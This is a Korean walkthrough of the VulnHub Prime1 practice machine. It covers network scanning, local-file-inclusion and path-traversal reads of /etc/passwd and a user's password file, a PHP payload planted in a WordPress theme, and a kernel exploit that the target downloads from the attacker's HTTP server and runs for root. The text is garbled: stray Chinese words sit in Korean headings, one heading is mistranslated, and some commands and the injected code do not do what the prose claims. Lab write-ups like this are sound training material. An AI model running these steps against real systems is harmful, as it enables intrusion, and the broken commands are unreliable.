VulnHub Prime1 목표 기지 공략: 웹 서비스 분석 및 권한 상승 전 과정

환경 설정 및 초기侦察

이 연습용 머신은 OSCP 인증 준비를 위한 기초 공격 경로 학습에 적합합니다. 목표는 사용자 계정의 플래그 획득과 시스템 관리자 (Root) 권한 확보입니다. 먼저 가상 머신을 활성화하고 내부 네트워크 인터페이스가 동일한 서브넷을 공유하도록 구성합니다.

ifconfig # 인터페이스 상태 확인 및 IP 할당 식별

네트워크 호스트 탐지

연결 가능한 장비를 찾기 위해 패킷 전송 방식을 이용한 생존 측정을 수행합니다. 포트 개방 여부는 무시하고 응답만 확인하는 것이 효율적입니다.

nmap -sn --host-timeout 2000 192.168.109.0/24

스캔 결과 특정 IP(예: 192.168.109.151) 에서 활성 응답이 감지되면 해당 주소로 스코프를 좁힙니다.

포트及服务 버전 매핑

열려있는 경로를 파악하기 위해 모든 TCP 포트를 대상으로 스캔을 진행하며, 결과를 텍스트 파일로 저장하여 추후 로그 참조가 가능하도록 합니다.

nmap -p- -T4 --open 192.168.109.151 -oA target_scan

분석 결과 22(SSHPort) 및 80(HTTPPort) 만 노출되어 있습니다. 다음 단계에서는 이 두 서비스에 대해 상세한 정보 수집을 진행합니다.

nmap -sC -sV -O 192.168.109.151
  • -sC: 기본 스크립트 집합 실행으로 알려진 취약점 자동 검색.
  • -sV: 실행 중인 서비스의 정확한 버전을 식별.
  • -O: 원격 시스템의 운영체제를 추정.

스캔 로그 내에 '/wordpress/' 디렉토리 존재 신호와 관련 플러그인 정보가 포착되었습니다. 이는 콘텐츠 관리 시스템 (CMS) 인 WordPress 가 설치되어 있음을 시사하므로, 전용 도구를 활용한 심층 분석이 필요합니다.

웹 애플리케이션 보안 분석

기본 웹 서버에 접속하면 단순한 이미지가 표시되며 소스 코드는 명확한 단서를 제공하지 않습니다. 숨겨진 자원을 발견하기 위해 디렉토리 브루트포싱을 수행합니다.

자전거 경로 탐사

Dirb 도구를 이용해 표준 단어 목록으로 접근 가능한 폴더를 탐색합니다.

dirb http://192.168.109.151 -z 404

여기서 흥미로운 URL 은 '/secret.txt' 및 '.php' 확장자를 가진 파일들입니다. 특히 텍스트 파일 내용을 추출해 보겠습니다.

wget -q -O- http://192.168.109.151/secret.txt

파일 내용은 추가적인 파라미터 테스트를 권장하는 지시어입니다. 이제 발견된 PHP 스크립트에 대해 퍼징 (Fuzzing) 테크닉을 적용하여 예상치 못한 입력 변수를 찾습니다.

파라미터 무작위화 테스트 (Fuzzing)

Wfuzz 를 사용하여 GET 요청 파라미터를 변형시키며 서버 응답 크기를 모니터링합니다. 특정 길이의 응답을 필터링하면 숨겨진 라우터를 찾을 수 있습니다.

wfuzz -u http://192.168.109.151/index.php -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200

여러 번 시도 후 'file'이라는 키 값을 통한 로컬 파일 포함 (LFI) 가능성이 드러났습니다. 이를 통해 시스템 파일을 읽을 수 있는지 확인합니다.

curl "http://192.168.109.151/index.php?file=/etc/passwd"

출력된 passwd 파일을 파싱하면 사용자의 홈 디렉토리 정보를 얻을 수 있습니다. 사케트 (saket) 계정의 홈 경로에 위치한 비밀번호 파일을 특정 파라미터 ('secrettier360') 를 통해 우회 접근 해 봅니다.

curl "http://192.168.109.151/image.php?secrettier360=../../../../../../home/saket/password.txt"

성공적으로 'follow_the_ippsec'라는 자격 증명 정보를 획득합니다.

CMS 인증 우회 및 셸 획득

WordPress 관리자 페이지 접속을 위해 WPScan 을 이용하여 노출된 사용자 목록을 추출합니다.

wpscan --url http://192.168.109.151/wordpress/ --enumerate u,p

'victor'라는 아이디가 확인되니, 앞서 확보한 비밀번호와 함께 로그인 시도를 진행합니다. 관리자 대시보드에 진입 후 테마 파일 편집 기능을 악용할 수 있는 지점을 탐색합니다.

테마 폴더 내의 'secret.php' 파일에서 쓰기 권한이 유효한 것으로 나타납니다. 여기에는 리버스 쉘 (Reverse Shell) 페이로드를 삽입하여 원격 제어권을 획득할 예정입니다. 공격자 머신에서 리스너를 구동한 뒤 다음과 같은 코드 주입을 시도합니다.

<?php system('echo Y3ViZiBsb2NhdGlvbi50eHQ= | base64 -d'); ?>

(참고: 실제 공격 시에는 직접적인 쉘 연결 코드를 사용합니다.)

주어진 파일 경로는 wpscan 결과가 도움이 됩니다:

http://192.168.109.151/wordpress/wp-content/themes/twentynineteen/secret.php

이 URI 에 POST 요청을 보내면 웹 서버 프로세스 (www-data) 관점에서 쉘 세션이 열립니다.

권한 상승 (Privilege Escalation)

초기 접속 후 현재 상태를 진단합니다.

id
uname -r
ls -la /home/

시스템 정보는 Ubuntu 기반이며 커널 버전이 4.10.0-28-generic 으로 비교적 구버전이므로 알려진 커널 취약점이 존재할 가능성이 높습니다. 또한 sudo 권한을 보유한 사용자가 있는지 확인해 볼 가치가 있습니다.

sudo -l

결과적으로 특정 명령어 (/home/saket/enc) 에 대한 제한된 권한이 있거나, 아니면 커널 패치를 통한 루팅이 더 빠른 방법이 될 수 있습니다. 여기서는 Exploit Database 에서 해당 커널 버전의 취약점 해결책 (PoC) 을 다운로드합니다.

searchsploit ubuntu 4.10.0 -x 45010.c

다운받은 소스 코드를 컴파일하여 실행 가능한 바이너리로 변환해야 합니다. 이를 위해 간단한 HTTP 서비스를 킵업 하고 타겟 머신에서 가져옵니다.

# Attacker Machine
cd ~/exploit_folder
python3 -m http.server 8080

# Target Machine
wget http://192.168.109.130:8080/45010.c
gcc -pthread 45010.c -o exploit_bin
chmod 777 exploit_bin
./exploit_bin

실행 성공 후 새 셸은 안정성을 높이기 위해 Python 의 PTY 기능을 활용합니다.

/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

최종적으로 루트 계정의 소유물인 플래그 파일을 확인합니다.

cd /root && cat root.txt
시스템 전체 제어 권한이 확립되었음을 의미하며, 해당 목표 기지에 대한 분석 작업이 완료됩니다.

태그: vulnhub PenetrationTesting Nmap WordPress LinuxPrivEsc

7월 13일 04:23에 게시됨